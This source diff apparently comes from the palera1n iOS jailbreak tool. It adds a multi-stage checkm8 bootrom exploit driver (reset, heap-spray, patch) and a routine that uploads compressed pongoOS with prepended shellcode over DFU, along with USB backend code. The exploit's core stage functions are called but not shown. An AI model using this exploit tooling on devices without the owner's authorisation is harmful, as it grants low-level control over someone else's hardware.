*payloadSize = payloads_yolo_t7001_bin_len;
*payload = payloads_yolo_t7001_bin;
break;
case 0x7000:
*payloadSize = payloads_yolo_t7000_bin_len;
*payload = payloads_yolo_t7000_bin;
break;
default:
LOG("Failed to prepare payload for device with CPID 0x%x.", cpid);
break;
}
}
@@ -35,6 +35,7 @@ struct PayloadConfiguration {
handle_interface_request,
usb_create_string_descriptor,
usb_serial_number_string_descriptor;
uint32_t payload_dest_armv7;
};
bool checkm8_find_device_configuration_for_cpid(int cpid, struct DeviceConfiguration *config);
+167
View File
@@ -0,0 +1,167 @@
#include "run.h"
#include <stdatomic.h>
#include <stdbool.h>
#include <pthread.h>
#include <inttypes.h>
#include <stdint.h>
#include "../utils.h"
#include "../usb/usb_shim.h"
#include "../pongo/pongo_helper.h"
#include "checkm8.h"
#include "dfu.h"
#include "payload.h"
typedef struct {
atomic_bool stop;
atomic_int result;
} shared_t;
static void *exploit_thread(void *arg)
{
shared_t *s = (shared_t *)arg;
usb_handle_t handle;
struct DeviceConfiguration deviceConfig;
struct PayloadConfiguration payloadConfig;
int stage = STAGE_PREPARE;
bool ret = false;
init_usb_handle(&handle, 0x5AC, 0x1227);
while (stage != STAGE_DONE && !atomic_load(&s->stop)) {
if (!wait_usb_handle(&handle)) {
atomic_store(&s->result, -1);
atomic_store(&s->stop, true);
break;
}
switch (stage) {
case STAGE_PREPARE: {
char *sn = get_usb_serial_number(&handle);
if (!sn) goto fail;
if (!checkm8_find_device_configuration_for_cpid(
dfu_serial_number_get_cpid(sn), &deviceConfig)) {
free(sn);
goto fail;
}
if (!checkm8_find_payload_configuration_for_cpid(
dfu_serial_number_get_cpid(sn), &payloadConfig)) {
free(sn);
goto fail;
}
if (!dfu_serial_number_is_in_dfu_mode(sn)) {
free(sn);
goto fail;
}
free(sn);
stage = STAGE_RESET;
break;
}
case STAGE_RESET:
ret = checkm8_stage_reset(&handle);
stage = ret ? STAGE_SETUP : STAGE_RESET;
break;
case STAGE_SETUP:
LOG("Setting up the device for exploitation");
ret = checkm8_stage_setup(&handle, &deviceConfig);
stage = ret ? STAGE_SPRAY : STAGE_RESET;
break;
case STAGE_SPRAY:
LOG("Spraying the device with USB requests");
ret = checkm8_stage_spray(&handle, &deviceConfig);
stage = ret ? STAGE_PATCH : STAGE_RESET;
break;
case STAGE_PATCH:
LOG("Right before trigger (this is the real bug setup)");
ret = checkm8_stage_patch(&handle, &deviceConfig, &payloadConfig);
if (!ret) goto fail;
stage = STAGE_PONGO;
break;
case STAGE_PONGO:
LOG("Booting pongoOS");
close_usb_handle(&handle);
sleep_ms(3000);
checkm8_boot_pongo(&handle);
stage = STAGE_DONE;
atomic_store(&s->result, 1);
atomic_store(&s->stop, true);
break;
default:
goto fail;
}
reset_usb_handle(&handle);
continue;
fail:
atomic_store(&s->result, -1);
atomic_store(&s->stop, true);
break;
}
return NULL;
}
static void *pongo_thread(void *arg)
{
shared_t *s = (shared_t *)arg;
usb_handle_t handle;
bool seen = false;
init_usb_handle(&handle, 0x5AC, 0x4141);
while (!atomic_load(&s->stop)) {
if (!wait_usb_handle(&handle)) {
atomic_store(&s->result, -1);
atomic_store(&s->stop, true);
break;
}
if (!seen) {
LOG("Pongo device detected!");
seen = true;
char paleinfo[64];
snprintf(paleinfo, sizeof(paleinfo), "palera1n_flags 0x%" PRIx64, palerain_flags);
issue_pongo_command(&handle, "fuse lock", NULL);
issue_pongo_command(&handle, "sep auto", NULL);
// issue_pongo_command(&handle, paleinfo, NULL);
// issue_pongo_command(&handle, "bootx", NULL);
atomic_store(&s->result, 1);
atomic_store(&s->stop, true);
break;
}
reset_usb_handle(&handle);
}
close_usb_handle(&handle);
return NULL;
}
bool exploit(void) {
pthread_t t1, t2;
shared_t state = {
.stop = ATOMIC_VAR_INIT(false),
.result = ATOMIC_VAR_INIT(0)
};
pthread_create(&t1, NULL, exploit_thread, &state);
pthread_create(&t2, NULL, pongo_thread, &state);
pthread_join(t1, NULL);
pthread_join(t2, NULL);
return atomic_load(&state.result) == 1;
}
+26
View File
@@ -0,0 +1,26 @@
#ifndef RUN_H
#define RUN_H
#include <stdbool.h>
#ifdef __cplusplus
extern "C" {
#endif
enum exploit_stage {
STAGE_PREPARE = 0,
STAGE_RESET = 1,
STAGE_SETUP = 2,
STAGE_SPRAY = 3,
STAGE_PATCH = 4,
STAGE_PONGO = 5,
STAGE_DONE = 6,
};
bool exploit(void);
#ifdef __cplusplus
}
#endif
#endif // RUN_H
+5 -6
View File
@@ -9,11 +9,10 @@
# include <wx/wx.h>
#endif
#include "checkm8/run.h"
#include "m8/run.h"
#include "utils/constants.h"
#include "utils/log.h"
#include "utils/paleinfo.h"
#include "utils.h"
#include "paleinfo.h"
void print_credits() {
printf(
@@ -169,11 +168,11 @@ int main(int argc, char* argv[], char* envp[]) {
wxEntryCleanup();
return 0;
} else {
return checkm8();
return exploit();
}
#else
return checkm8();
return exploit();
#endif
File renamed without changes.
+126
View File
@@ -0,0 +1,126 @@
#include "pongo_helper.h"
#include <string.h>
#include <lz4.h>
#include <lz4hc.h>
#include "../usb/usb_shim.h"
#include "../utils.h"
#include "../m8/dfu.h"
#include "../gen/payloads/Pongo.h"
#include "../gen/payloads/lz4dec.h"
void compress_pongo(void *out, size_t *out_len) {
size_t len = payloads_Pongo_bin_len;
size_t out_len_ = *out_len;
*out_len = LZ4_compress_HC(payloads_Pongo_bin, out, len, out_len_, LZ4HC_CLEVEL_MAX);
}
void checkm8_boot_pongo(usb_handle_t *handle) {
transfer_ret_t transfer_ret;
LOG("Booting pongoOS");
LOG("Compressing pongoOS");
LOG("Appending shellcode to the top of pongoOS (512 bytes)");
void *shellcode = malloc(512);
memcpy(shellcode, payloads_lz4dec_bin, payloads_lz4dec_bin_len);
size_t out_len = payloads_Pongo_bin_len;
void *out = malloc(out_len);
compress_pongo(out, &out_len);
LOG("Compressed pongoOS from %u to %zu bytes", payloads_Pongo_bin_len, out_len);
void *tmp = malloc(out_len + 512);
memcpy(tmp, shellcode, 512);
memcpy(tmp + 512, out, out_len);
free(out);
out = tmp;
out_len += 512;
free(shellcode);
LOG("Setting the compressed size into the shellcode");
uint32_t* size = (uint32_t*)(out + 0x1fc);
*size = out_len - 512;
LOG("Reconnecting to device");
init_usb_handle(handle, 0x5AC, 0x1227);
LOG("Waiting for device to be ready");
wait_usb_handle(handle);
{
size_t len = 0;
size_t size;
while(len < out_len)
{
retry:
size = ((out_len - len) > 0x800) ? 0x800 : (out_len - len);
send_usb_control_request(handle, 0x21, DFU_DNLOAD, 0, 0, (unsigned char*)&out[len], size, &transfer_ret);
if(transfer_ret.sz != size || transfer_ret.ret != USB_TRANSFER_OK)
{
LOG("retrying at len = %zu", len);
sleep_ms(100);
goto retry;
}
len += size;
LOG("len = %zu", len);
}
}
send_usb_control_request_no_data(handle, 0x21, 4, 0, 0, 0, NULL);
LOG("pongoOS sent, should be booting");
}
int issue_pongo_command(usb_handle_t *handle, char *command, char *outBuffer) {
bool ret;
uint8_t inProgress = 1;
uint32_t outPosition = 0;
uint32_t outLength = 0;
transfer_ret_t transferRet;
char stdoutBuffer[0x2000];
if (command == NULL) goto fetch_output;
size_t length = strlen(command);
char commandBuffer[0x200];
if (length > (CMD_LENGTH_MAX - 2))
{
LOG("Pongo command %s too long (max %d)", command, CMD_LENGTH_MAX - 2);
return -1;
}
LOG("Executing PongoOS command: '%s'", command);
snprintf(commandBuffer, 512, "%s\n", command);
length = strlen(commandBuffer);
ret = send_usb_control_request_no_data(handle, 0x21, 4, 1, 0, 0, NULL);
if (!ret)
goto bad;
ret = send_usb_control_request(handle, 0x21, 3, 0, 0, commandBuffer, (uint32_t)length, NULL);
fetch_output:
while (inProgress) {
ret = send_usb_control_request(handle, 0xA1, 2, 0, 0, &inProgress, (uint32_t)sizeof(inProgress), NULL);
if (ret) {
ret = send_usb_control_request(handle, 0xA1, 1, 0, 0, stdoutBuffer + outPosition, 0x1000, &transferRet);
outLength = transferRet.sz;
if (transferRet.ret == USB_TRANSFER_OK) {
outPosition += outLength;
if (outPosition > 0x1000) {
memmove(stdoutBuffer, stdoutBuffer + outPosition - 0x1000, 0x1000);
outPosition = 0x1000;
}
}
}
if (transferRet.ret != USB_TRANSFER_OK) {
goto bad;
}
}
bad:
if (transferRet.ret != USB_TRANSFER_OK)
{
if (!strncmp("boot", command, 4)) {
return 0;
} else if (command != NULL) {
LOG("USB transfer error: 0x%x, wLength out 0x%x.", transferRet.ret, transferRet.sz);
return transferRet.ret;
} else {
return -1;
}
}
else {
if (outBuffer) {
memcpy(outBuffer, stdoutBuffer, outPosition);
}
return ret;
}
}
+12
View File
@@ -0,0 +1,12 @@
#ifndef USB_PONGO_H
#define USB_PONGO_H
#include "../usb/usb_shim.h"
#define CMD_LENGTH_MAX 512
void compress_pongo(void *out, size_t *out_len);
void checkm8_boot_pongo(usb_handle_t *handle);
int issue_pongo_command(usb_handle_t *handle, char *command, char *outBuffer);
#endif // USB_PONGO_H
+168
View File
@@ -0,0 +1,168 @@
#ifdef __APPLE__
#include "usb_iokit.h"
#include <stdbool.h>
#include <CommonCrypto/CommonCrypto.h>
#include <CoreFoundation/CoreFoundation.h>
#include <IOKit/IOCFPlugIn.h>
#include <IOKit/usb/IOUSBLib.h>
#include "../utils.h"
static void cf_dictionary_set_int16(CFMutableDictionaryRef dict, const void *key, uint16_t val) {
CFNumberRef cf_val = CFNumberCreate(kCFAllocatorDefault, kCFNumberSInt16Type, &val);
if(cf_val != NULL) {
CFDictionarySetValue(dict, key, cf_val);
CFRelease(cf_val);
}
}
bool query_usb_interface(io_service_t serv, CFUUIDRef plugin_type, CFUUIDRef interface_type, LPVOID *interface) {
IOCFPlugInInterface **plugin_interface;
bool ret = false;
SInt32 score;
if(IOCreatePlugInInterfaceForService(serv, plugin_type, kIOCFPlugInInterfaceID, &plugin_interface, &score) == kIOReturnSuccess) {
ret = (*plugin_interface)->QueryInterface(plugin_interface, CFUUIDGetUUIDBytes(interface_type), interface) == kIOReturnSuccess;
IODestroyPlugInInterface(plugin_interface);
}
IOObjectRelease(serv);
return ret;
}
void close_usb_device(usb_handle_t *handle) {
CFRunLoopRemoveSource(CFRunLoopGetCurrent(), handle->async_event_source, kCFRunLoopDefaultMode);
CFRelease(handle->async_event_source);
(*handle->device)->USBDeviceClose(handle->device);
(*handle->device)->Release(handle->device);
}
void close_usb_handle(usb_handle_t *handle) {
close_usb_device(handle);
}
bool open_usb_device(io_service_t serv, usb_handle_t *handle) {
bool ret = false;
if(query_usb_interface(serv, kIOUSBDeviceUserClientTypeID, kIOUSBDeviceInterfaceID320, (LPVOID *)&handle->device)) {
if((*handle->device)->USBDeviceOpen(handle->device) == kIOReturnSuccess) {
if((*handle->device)->SetConfiguration(handle->device, 1) == kIOReturnSuccess && (*handle->device)->CreateDeviceAsyncEventSource(handle->device, &handle->async_event_source) == kIOReturnSuccess) {
CFRunLoopAddSource(CFRunLoopGetCurrent(), handle->async_event_source, kCFRunLoopDefaultMode);
ret = true;
} else {
(*handle->device)->USBDeviceClose(handle->device);
}
}
if(!ret) {
(*handle->device)->Release(handle->device);
}
}
return ret;
}
bool wait_usb_handle(usb_handle_t *handle) {
CFMutableDictionaryRef matching_dict;
io_iterator_t iter;
io_service_t serv;
bool ret = false;
while((matching_dict = IOServiceMatching(kUSBDeviceClassName)) != NULL) {
cf_dictionary_set_int16(matching_dict, CFSTR(kUSBVendorID), handle->vid);
cf_dictionary_set_int16(matching_dict, CFSTR(kUSBProductID), handle->pid);
if(IOServiceGetMatchingServices(0, matching_dict, &iter) == kIOReturnSuccess) {
while((serv = IOIteratorNext(iter)) != IO_OBJECT_NULL) {
if(open_usb_device(serv, handle)) {
ret = true;
break;
}
}
IOObjectRelease(iter);
if(ret) {
break;
}
sleep_ms(USB_TIMEOUT);
}
}
return ret;
}
void reset_usb_handle(usb_handle_t *handle) {
(*handle->device)->ResetDevice(handle->device);
(*handle->device)->USBDeviceReEnumerate(handle->device, 0);
}
static void usb_async_cb(void *refcon, IOReturn ret, void *arg) {
transfer_ret_t *transfer_ret = refcon;
if(transfer_ret != NULL) {
memcpy(&transfer_ret->sz, &arg, sizeof(transfer_ret->sz));
if(ret == kIOReturnSuccess) {
transfer_ret->ret = USB_TRANSFER_OK;
} else if(ret == kUSBPipeStalled) {
transfer_ret->ret = USB_TRANSFER_STALL;
} else {
transfer_ret->ret = USB_TRANSFER_ERROR;
}
}
CFRunLoopStop(CFRunLoopGetCurrent());
}
bool send_usb_control_request(const usb_handle_t *handle, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, uint16_t w_index, void *p_data, size_t w_len, transfer_ret_t *transfer_ret) {
IOUSBDevRequestTO req;
IOReturn ret;
req.wLenDone = 0;
req.pData = p_data;
req.bRequest = b_request;
req.bmRequestType = bm_request_type;
req.wLength = OSSwapLittleToHostInt16(w_len);
req.wValue = OSSwapLittleToHostInt16(w_value);
req.wIndex = OSSwapLittleToHostInt16(w_index);
req.completionTimeout = req.noDataTimeout = USB_TIMEOUT;
ret = (*handle->device)->DeviceRequestTO(handle->device, &req);
if(transfer_ret != NULL) {
if(ret == kIOReturnSuccess) {
transfer_ret->sz = req.wLenDone;
transfer_ret->ret = USB_TRANSFER_OK;
} else if(ret == kUSBPipeStalled) {
transfer_ret->ret = USB_TRANSFER_STALL;
} else {
transfer_ret->ret = USB_TRANSFER_ERROR;
}
}
return true;
}
bool send_usb_control_request_async(const usb_handle_t *handle, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, uint16_t w_index, void *p_data, size_t w_len, unsigned usb_abort_timeout, transfer_ret_t *transfer_ret) {
IOUSBDevRequestTO req;
req.wLenDone = 0;
req.pData = p_data;
req.bRequest = b_request;
req.bmRequestType = bm_request_type;
req.wLength = OSSwapLittleToHostInt16(w_len);
req.wValue = OSSwapLittleToHostInt16(w_value);
req.wIndex = OSSwapLittleToHostInt16(w_index);
req.completionTimeout = req.noDataTimeout = USB_TIMEOUT;
if((*handle->device)->DeviceRequestAsyncTO(handle->device, &req, usb_async_cb, transfer_ret) == kIOReturnSuccess) {
sleep_ms(usb_abort_timeout);
if((*handle->device)->USBDeviceAbortPipeZero(handle->device) == kIOReturnSuccess) {
CFRunLoopRun();
return true;
}
}
return false;
}
void init_usb_handle(usb_handle_t *handle, uint16_t vid, uint16_t pid) {
handle->vid = vid;
handle->pid = pid;
handle->device = NULL;
}
#endif // __APPLE__
+59
View File
@@ -0,0 +1,59 @@
#ifdef __APPLE__
#ifndef IOKIT_BACKEND_H
#define IOKIT_BACKEND_H
#include <stdbool.h>
#include <IOKit/IOCFPlugIn.h>
#include <IOKit/usb/IOUSBLib.h>
#define USB_TIMEOUT (5)
#ifdef __APPLE__
# if TARGET_OS_IPHONE
# define kUSBPipeStalled kUSBHostReturnPipeStalled
# else
# define kUSBPipeStalled kIOUSBPipeStalled
# endif
#endif
#ifdef __APPLE__
# if TARGET_OS_IPHONE
# define kUSBDeviceClassName "IOUSBHostDevice"
# else
# define kUSBDeviceClassName kIOUSBDeviceClassName
# endif
#endif
enum usb_transfer {
USB_TRANSFER_OK,
USB_TRANSFER_ERROR,
USB_TRANSFER_STALL
};
typedef struct {
enum usb_transfer ret;
uint32_t sz;
} transfer_ret_t;
typedef struct {
uint16_t vid, pid;
io_service_t serv;
IOUSBDeviceInterface320 **device;
CFRunLoopSourceRef async_event_source;
} usb_handle_t;
bool query_usb_interface(io_service_t serv, CFUUIDRef plugin_type, CFUUIDRef interface_type, LPVOID *interface);
void close_usb_device(usb_handle_t *handle);
void close_usb_handle(usb_handle_t *handle);
bool open_usb_device(io_service_t serv, usb_handle_t *handle);
bool wait_usb_handle(usb_handle_t *handle);
void reset_usb_handle(usb_handle_t *handle);
bool send_usb_control_request(const usb_handle_t *handle, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, uint16_t w_index, void *p_data, size_t w_len, transfer_ret_t *transfer_ret);
bool send_usb_control_request_async(const usb_handle_t *handle, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, uint16_t w_index, void *p_data, size_t w_len, unsigned usb_abort_timeout, transfer_ret_t *transfer_ret);
void init_usb_handle(usb_handle_t *handle, uint16_t vid, uint16_t pid);
#endif // IOKIT_BACKEND_H
#endif // __APPLE__
+102
View File
@@ -0,0 +1,102 @@
#ifndef __APPLE__
#include "usb_libusb.h"
#include <stdbool.h>
#include <libusb-1.0/libusb.h>
#include "../utils.h"
void close_usb_handle(usb_handle_t *handle) {
libusb_close(handle->device);
libusb_exit(NULL);
}
void reset_usb_handle(const usb_handle_t *handle) {
libusb_reset_device(handle->device);
}
bool wait_usb_handle(usb_handle_t *handle) {
if(libusb_init(NULL) == LIBUSB_SUCCESS) {
for(;;) {
if((handle->device = libusb_open_device_with_vid_pid(NULL, handle->vid, handle->pid)) != NULL) {
if(libusb_set_configuration(handle->device, 1)) {
return true;
}
libusb_close(handle->device);
}
sleep_ms(USB_TIMEOUT);
}
}
return false;
}
void usb_async_cb(struct libusb_transfer *transfer) {
*(int *)transfer->user_data = 1;
}
bool send_usb_control_request(const usb_handle_t *handle, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, uint16_t w_index, void *p_data, size_t w_len, transfer_ret_t *transfer_ret) {
int ret = libusb_control_transfer(handle->device, bm_request_type, b_request, w_value, w_index, p_data, (uint16_t)w_len, USB_TIMEOUT);
if(transfer_ret != NULL) {
if(ret >= 0) {
transfer_ret->sz = (uint32_t)ret;
transfer_ret->ret = USB_TRANSFER_OK;
} else if(ret == LIBUSB_ERROR_PIPE) {
transfer_ret->ret = USB_TRANSFER_STALL;
} else {
transfer_ret->ret = USB_TRANSFER_ERROR;
}
}
return true;
}
bool send_usb_control_request_async(const usb_handle_t *handle, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, uint16_t w_index, void *p_data, size_t w_len, unsigned usb_abort_timeout, transfer_ret_t *transfer_ret) {
struct libusb_transfer *transfer = libusb_alloc_transfer(0);
struct timeval tv;
int completed = 0;
uint8_t *buf;
if(transfer != NULL) {
if((buf = malloc(LIBUSB_CONTROL_SETUP_SIZE + w_len)) != NULL) {
if((bm_request_type & LIBUSB_ENDPOINT_DIR_MASK) == LIBUSB_ENDPOINT_OUT) {
memcpy(buf + LIBUSB_CONTROL_SETUP_SIZE, p_data, w_len);
}
libusb_fill_control_setup(buf, bm_request_type, b_request, w_value, w_index, (uint16_t)w_len);
libusb_fill_control_transfer(transfer, handle->device, buf, usb_async_cb, &completed, USB_TIMEOUT);
if(libusb_submit_transfer(transfer) == LIBUSB_SUCCESS) {
tv.tv_sec = usb_abort_timeout / 1000;
tv.tv_usec = (usb_abort_timeout % 1000) * 1000;
while(completed == 0 && libusb_handle_events_timeout_completed(NULL, &tv, &completed) == LIBUSB_SUCCESS) {
libusb_cancel_transfer(transfer);
}
if(completed != 0) {
if((bm_request_type & LIBUSB_ENDPOINT_DIR_MASK) == LIBUSB_ENDPOINT_IN) {
memcpy(p_data, libusb_control_transfer_get_data(transfer), transfer->actual_length);
}
if(transfer_ret != NULL) {
transfer_ret->sz = (uint32_t)transfer->actual_length;
if(transfer->status == LIBUSB_TRANSFER_COMPLETED) {
transfer_ret->ret = USB_TRANSFER_OK;
} else if(transfer->status == LIBUSB_TRANSFER_STALL) {
transfer_ret->ret = USB_TRANSFER_STALL;
} else {
transfer_ret->ret = USB_TRANSFER_ERROR;
}
}
}
}
free(buf);
}
libusb_free_transfer(transfer);
}
return completed != 0;
}
void init_usb_handle(usb_handle_t *handle, uint16_t vid, uint16_t pid) {
handle->vid = vid;
handle->pid = pid;
handle->device = NULL;
}
#endif // __APPLE__
+37
View File
@@ -0,0 +1,37 @@
#ifndef __APPLE__
#ifndef LIBUSB_BACKEND_H
#define LIBUSB_BACKEND_H
#include <stdbool.h>
#include <libusb-1.0/libusb.h>
#define USB_TIMEOUT (5)
enum usb_transfer {
USB_TRANSFER_OK,
USB_TRANSFER_ERROR,
USB_TRANSFER_STALL
};
typedef struct {
enum usb_transfer ret;
uint32_t sz;
} transfer_ret_t;
typedef struct {
uint16_t vid, pid;
struct libusb_device_handle *device;
} usb_handle_t;
void close_usb_handle(usb_handle_t *handle);
void reset_usb_handle(const usb_handle_t *handle);
bool wait_usb_handle(usb_handle_t *handle);
void usb_async_cb(struct libusb_transfer *transfer);
bool send_usb_control_request(const usb_handle_t *handle, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, uint16_t w_index, void *p_data, size_t w_len, transfer_ret_t *transfer_ret);
bool send_usb_control_request_async(const usb_handle_t *handle, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, uint16_t w_index, void *p_data, size_t w_len, unsigned usb_abort_timeout, transfer_ret_t *transfer_ret);
void init_usb_handle(usb_handle_t *handle, uint16_t vid, uint16_t pid);
#endif // LIBUSB_BACKEND_H
#endif // __APPLE__
+35
View File
@@ -0,0 +1,35 @@
#include "usb_shim.h"
#ifdef __APPLE__
# include "usb_iokit.h"
#else
# include "usb_libusb.h"
#endif
bool send_usb_control_request_no_data(const usb_handle_t *handle, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, uint16_t w_index, size_t w_len, transfer_ret_t *transfer_ret) {
bool ret = false;
void *p_data;
if(w_len == 0) {
ret = send_usb_control_request(handle, bm_request_type, b_request, w_value, w_index, NULL, 0, transfer_ret);
} else if((p_data = malloc(w_len)) != NULL) {
memset(p_data, '\0', w_len);
ret = send_usb_control_request(handle, bm_request_type, b_request, w_value, w_index, p_data, w_len, transfer_ret);
free(p_data);
}
return ret;
}
bool send_usb_control_request_async_no_data(const usb_handle_t *handle, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, uint16_t w_index, size_t w_len, unsigned usb_abort_timeout, transfer_ret_t *transfer_ret) {
bool ret = false;
void *p_data;
if(w_len == 0) {
ret = send_usb_control_request_async(handle, bm_request_type, b_request, w_value, w_index, NULL, 0, usb_abort_timeout, transfer_ret);
} else if((p_data = malloc(w_len)) != NULL) {
memset(p_data, '\0', w_len);
ret = send_usb_control_request_async(handle, bm_request_type, b_request, w_value, w_index, p_data, w_len, usb_abort_timeout, transfer_ret);
free(p_data);
}
return ret;
}
+14
View File
@@ -0,0 +1,14 @@
#ifndef BACKEND_SHIM_H
#define BACKEND_SHIM_H
#ifdef __APPLE__
# include "usb_iokit.h"
#else
# include "usb_libusb.h"
#endif
bool send_usb_control_request_no_data(const usb_handle_t *handle, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, uint16_t w_index, size_t w_len, transfer_ret_t *transfer_ret);
bool send_usb_control_request_async_no_data(const usb_handle_t *handle, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, uint16_t w_index, size_t w_len, unsigned usb_abort_timeout, transfer_ret_t *transfer_ret);
char *get_usb_serial_number(usb_handle_t *handle);
#endif // BACKEND_SHIM_H
+32
View File
@@ -0,0 +1,32 @@
#ifndef CONSTANTS_H
#define CONSTANTS_H
#define PALERAIN_VERSION "3.0.0"
#include <stdint.h>
#include <stdio.h>
#ifdef __WIN32
# include <windows.h>
#else
# include <time.h>
#endif
#define LOG(fmt, ...) \
printf("(%s:%d) => " fmt "\n", __FILE__, __LINE__, ##__VA_ARGS__)
static void sleep_ms(unsigned ms) {
#ifdef __WIN32
Sleep(ms);
#else
struct timespec ts;
ts.tv_sec = ms / 1000;
ts.tv_nsec = (ms % 1000) * 1000000L;
nanosleep(&ts, NULL);
#endif
}
static uint64_t palerain_flags = 0;
#endif // CONSTANTS_H
-3
View File
@@ -1,3 +0,0 @@
#include "constants.h"
uint64_t palerain_flags = 0;
-10
View File
@@ -1,10 +0,0 @@
#ifndef CONSTANTS_H
#define CONSTANTS_H
#define PALERAIN_VERSION "3.0.0"
#include <cstdint>
extern uint64_t palerain_flags;
#endif // CONSTANTS_H
-19
View File
@@ -1,19 +0,0 @@
#ifndef LOG_H
#define LOG_H
#include <stdio.h>
#define RESET_COLOR "\033[0m"
#define RED_COLOR "\033[31m"
#define GREEN_COLOR "\033[32m"
#define YELLOW_COLOR "\033[33m"
#define BLUE_COLOR "\033[34m"
#define MAGENTA_COLOR "\033[35m"
#define CYAN_COLOR "\033[36m"
#define WHITE_COLOR "\033[37m"
#define GRAY_COLOR "\033[90m"
#define LOG(fmt, ...) \
printf("(%s:%d) => " fmt "\n", __FILE__, __LINE__, ##__VA_ARGS__)
#endif // LOG_H
+1 -1
View File
@@ -3,7 +3,7 @@
#include "AppFrame.hpp"
#include <wx/wx.h>
#include "../utils/constants.h"
#include "../utils.h"
#include "../event.hpp"
#include <thread>
+1 -1
View File
@@ -6,7 +6,7 @@
#include "DevicePanel.hpp"
#include "../state.hpp"
#include "../sequence.hpp"
#include "../utils/log.h"
#include "../utils.h"
#include <thread>
+1 -1
View File
@@ -9,7 +9,7 @@
#include "AppFrame.hpp"
#include "DevicePanel.hpp"
#include "../state.hpp"
#include "../utils/log.h"
#include "../utils.h"
ExploitPanel::ExploitPanel(MainFrame* frame, wxWindow* parent)
: DevicePanel(frame, parent)
+2 -2
View File
@@ -6,8 +6,8 @@
#include "AppFrame.hpp"
#include "DevicePanel.hpp"
#include "../utils/constants.h"
#include "../utils/paleinfo.h"
#include "../utils.h"
#include "../paleinfo.h"
SettingsPanel::SettingsPanel(MainFrame* frame, wxWindow* parent)
: DevicePanel(frame, parent)